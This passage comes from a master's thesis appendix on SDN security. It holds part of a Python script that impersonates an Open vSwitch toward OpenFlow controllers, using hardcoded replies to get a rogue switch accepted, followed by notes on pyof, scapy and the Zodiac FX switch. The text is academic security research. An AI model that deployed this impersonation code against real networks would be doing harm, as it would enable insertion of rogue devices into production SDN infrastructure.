81 k e y f i l e =arguments . privkey , c e r t f i l e =arguments . cert ,
82 cert_reqs= s s l .CERT_NONE, ca_certs=arguments . cacert )
83 s . connect ( ( arguments . ip , arguments . port ) )
84 else :
85 print ( "Impersonation without SSL s t a r t s towards" , arguments . ip , " : " , arguments . port )
86 s = socket . socket ( socket . AF_INET , socket .SOCK_STREAM)
87 s . connect ( ( arguments . ip , arguments . port ) )
88

89 handshaking_complete = False
90 # We send a i n i t i a t e d Hello before gett ing info from the channel
91 s . send ( Hello ( ) . pack ( ) )
92

93 while True :
94 # i f we are done handshaking we send every 3 seconds a ECHO_REQUEST,
95 # sleep ( x ) i s not favorable because i t reduces your l i s t e n i n g c a p a b i l i t i e s . . .
96 i f handshaking_complete :
97 time . sleep ( 3 )
98 s . send ( EchoRequest ( ) . pack ( ) )
99

100 # Retrieve message ( s ) ( bytestr ing ) from the c o n t r o l l e r .
101 rec_msg = s . recv (1024)
102

103 i f arguments . messages == 1 :
104 print ( rec_msg )
105

106 # we are going to evaluate a l OF messages in the received bytestr ing
107 while len ( rec_msg ) > 0 :
108 # update rec_msg to the ’ r e s t ’ of the message ( evaluated in next round ( s ) )
109 msg_type , info , rec_msg = check_message ( rec_msg )
110 xid = info [ ’ trans_id ’ ]
111

112 # re set the response , otherwise we keep sending the l a s t one over and over again
113 response = None
114

115 # We already sent an Hello , thus pass and do nothing
116 i f msg_type == Type .OFPT_HELLO. value :
117 pass
118

119 e l i f msg_type == Type .OFPT_FEATURES_REQUEST. value :
120 # This FeaturesReply values are taken from a mininet OVSwitch .
121 response = FeaturesReply ( xid=xid , datapath_id =44 , n_buffers =253 ,
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122 n_tables =254 , a u x i l i a r y _ i d =0 , c a p a b i l i t i e s =79 ,
123 reserved =0)
124

125 e l i f msg_type == Type . OFPT_BARRIER_REQUEST . value :
126 response = BarrierReply ( xid=xid )
127

128 e l i f msg_type == Type .OFPT_ROLE_REQUEST. value :
129 # send RoleReply including correct requested role and generation id .
130 response = RoleReply ( xid=xid , role=info [ ’ role ’ ] , generation_id=info [ ’ gen_id ’ ] )
131

132 e l i f msg_type == Type .OFPT_MULTIPART_REQUEST. value :
133 # Responding to a OFPMP_PORT_DESC means reaching ’main mode ’ in a simple RYU c o n t r o l l e r .
134 i f info [ ’ mtp_type ’ ] == MultipartTypes .OFPMP_PORT_DESC. value :
135 # hardcoded message saying the switch i s connected to one host .
136 s . send (b ’ \x04\x13\x00\x90\x00\x00\x00\x01\x00\ r \x00\x00\x00\x00\x00\x00\x00\x00\x00
137 \x01\x00\x00\x00\x00V\ xf6 \xb2\xb8\xc2\x97\x00\x00s1−eth1 \x00\x00\x00\x00\x00
138 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00
139 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x96\x80\x00\x00\x00\x00\ x f f \ x f f \ x f f
140 \ xfe \x00\x00\x00\x00>\xf2E #\xe6B\x00\ x00s1 \x00\x00\x00\x00\x00\x00\x00\x00
141 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00
142 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
143 ’ )
144 e l i f info [ ’ mtp_type ’ ] == MultipartTypes .OFPMP_DESC. value :
145 # ’ standard ’ OVSwitch reply ( hardcoded − ’ shorted for display ’ ) :
146 s . send (b ’ \x04\x13\x040\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\ x00Nicira , Inc .
147 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
148 . . . . . . . . . . .
149 . . . . . . . . . . . \ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ’ )
150 e l i f info [ ’ mtp_type ’ ] == MultipartTypes .OFPMP_METER_FEATURES. value :
151 # ’ standard ’ OVSwitch reply ( hardcoded , e s p e c i a l l y used towards ONOS)
152 s . send (b ’ \x04\x13\x00 \ x f f \ x f f \ x f f \ xf9 \x00\x0b\x00\x00\x00\x00\x00\x00\x00
153 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ’ )
154 e l i f info [ ’ mtp_type ’ ] == MultipartTypes .OFPMP_TABLE_FEATURES. value :
155 # create the appropiate ERROR
156 response = ErrorMsg ( xid=xid , error_type=ErrorType .OFPET_BAD_REQUEST,
157 code=BadRequestCode .OFPBRC_BAD_TYPE, data=None)
158 # Other MULTIPART_REQUEST ’ s don ’ t get a response ( yet )
159 else :
160 pass
161

162 e l i f msg_type == Type .OFPT_GET_CONFIG_REQUEST. value :
163 response = GetConfigReply ( xid=xid , f l a g s =0x0000 , miss_send_len=0 x f f f f )
164

165 else : # in case we got a message which doesn ’ t need a reply , such as a ECHO_REPLY
166 pass
167

168 i f response i s not None : # Only send something i f we created i t .
169 s . send ( response . pack ( ) )
170

171 # For now we say the handshake i s over when we have received a SET_CONFIG .
172 # Whil t h i s i s incorrect for the ONOS case , i t doesn ’ t do any harm .
173 # FUTURE WORK: Better define when handshaking i s complete ( d i f f e r s per c o n t r o l l e r )
174 i f msg_type == Type . OFPT_SET_CONFIG . value :
175 handshaking_complete = True

Listing B.1: This Python script is successfully used to impersonate an OvSwitch towards the four different controllers (Ryu, ONOS,
OpenDaylight, HPE VAN) such that we indeed reach the ‘main mode’ (Ryu) or are found in the GUI topology (ONOS/ODL/HPE
VAN). We react hybridly on different received OpenFlow messages. The responses towards MULTIPART_REQUEST’s are hardcoded
responses which we have seen used by the Mininet OvSwitch - this is because the pyof library doesn’t support complete
MULTIPART_REPLY’s. In order to fully connect to the HPE VAN controller, we choose to respond with an ERROR instead of a constructed
MULTIPART_REQUEST:TABLE_FEATURES response. Namely, creating this is quite some work, because OvSwitch answers with multiple
messages because it has 254 tables and it is not possible to set this number lower (for example when experimenting with Mininet) to find
such a response. The usage of the ERROR was seen in the trace of the communication between OvSwitch and HPE VAN in some settings
of Mininet.
In this listing the PORT_DESC response is shortened to increase readability. The complete code is delivered with this master thesis.





C
Elaboration on used Hardware and

Software

In this Appendix, we give some extra practical information about pyof, scapy and the Zodiac FX switch in order
to aid people who want to use these libraries or switch in their research or experiments. We also provide direct
links on the internet for tutorials or extra information.

C.1. The pyof library
The python-openflow (in short, pyof ) library [50] is a low level OpenFlow messages parser used by the Kytos
SDN platform1. Using this library, one is able to read OpenFlow packets from an open socket or send different
OpenFlow messages. The library uses Python 3 and supports OpenFlow 1.0 to 1.3.

We used the library to impersonate OpenFlow 1.3 traffic. The library was sufficient to create all simple
OpenFlow messages, such that we could generate messages needed for the OpenFlow handshake. The recog-
nition of the received OpenFlow messages is done with use of the lists of al Enum values for all different Open-
Flow messages. It is possible to shift between OpenFlow 1.3 and 1.0 by only changing the version parameter
in the generated OpenFlow messages, because the structure of the protocol is such that only this is different
for most messages - and changing this value is possible in the library.

We have downloaded the library around October 2016. In this version, the library contains some errors
and doesn’t implement the generation of more complex messages such as different OFPT_MULTIPART_REPLY
messages. The found errors were small, where incorrect message headers where set. For the missing mes-
sages, it is possible to create workarounds or use hardcoded OpenFlow messages (such as presented in our
research). The library is still under development, as can be seen by the fact that the library has been updated
in March 2017. In this update, we see implementations for some MULTIPART messages. Also, we see that our
found errors are corrected.

C.2. scapy
Scapy is a powerful interactive packet manipulation program which is able to forge or decode packets of
a wide number of protocols, send them on the wire, capture them, match requests and replies, and much
more [67]. The library has build-in methods for classical tasks like scanning, tracerouting, attacks or network
discovery and can be used as an alternative for hping, nmap (to a certain extent), arpspoof and arpping.

In our research, we only used the library to construct our own messages. Custom packets are build fol-
lowing the same hierarchy as packets in the Internet. As example, a correct TCP message is constructed as:
Ether(..)/IP(..)/TCP(..). In our research, we mostly created ARP messages: Ether(..)/ARP(..), as
can be seen in Listing 5.1.

It is also possible to create packets which do not follow the expected hierarchy, to see whether this leads
to vulnerabilities in the network. Also, the current version of scapy also allows the definition of OpenFlow
messages. These two notions were used when we tried performing the ‘packet-in-packet’ attack, though this
attack was not successful.

1For more information, see https://docs.kytos.io/kytos/.
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Figure C.1: Picture of the Zodiac FX OpenFlow switch. The ports count up from left to right.

C.3. The Zodiac FX switch
The Zodiac FX OpenFlow switch [43] is developed by Northbound Networks to present an affordable Open-
Flow supporting switch which people can use to experiment with SDN at home. With use of a forum2, start-
ing developers are supported and updated when the new firmware comes out, which is directly download-
able from the forum. There are different tutorials and posts on the internet helping you get started with the
switch3. The switch can be configured and looked into with use of minicom4. A useful command in minicom
is help, which lists all possible commands for the switch.

As can be seen in Fig. C.1, the switch counts four ports. The fourth port is always reserved for the con-
nection to the controller, which the switch expect to be on IP-address 10.0.1.8 (but this is configurable).
For the other ports, you can configure the ports to support a link part of the OpenFlow network or a native
connection. This is done by setting the VLAN type. In this research, we have stated how we configured the
ports in the environments setups.

We have worked with firmware v0.79. In this case, there is also a GUI available on the IP address of the
switch (standard 10.0.1.99) and it is possible to restart the switch, cleaning the flow table. It is also possible
to disable OpenFlow. At that moment, the switch functions as a traditional switch. The newer firmware
resolves the security issue that flooded traffic (such as ARP traffic) is also flooding over the connection towards
the switch, which makes flooding attacks much easier.

We also experimented with setups with multiple Zodiac switches. We were successful in setting up a
network with a out-of-band control channel. Naturally, the Zodiac switch is not advocated for use with an in-
band control channel. It is also possible to create a network with a Zodiac switch where OpenFlow is enabled
while on connected switches OpenFlow is disabled.

While working with the Zodiac and ONOS as controller we encountered some difficulties. Namely, it not
possible to delete or modify flows on the switch. However, the ONOS controller actively sends commands to
delete flows. This resulted in the switch having troubles and crash, after which we needed to manually reset
the switch.

2See forums.northboundnetworks.com.
3We relied on http://vk5tu.livejournal.com/55803.html and http://adhocnode.com/sdn-raspberrypi-and-zodiacfx/.
4Installable via sudo apt-get install minicom.

forums.northboundnetworks.com
http://vk5tu.livejournal.com/55803.html
http://adhocnode.com/sdn-raspberrypi-and-zodiacfx/
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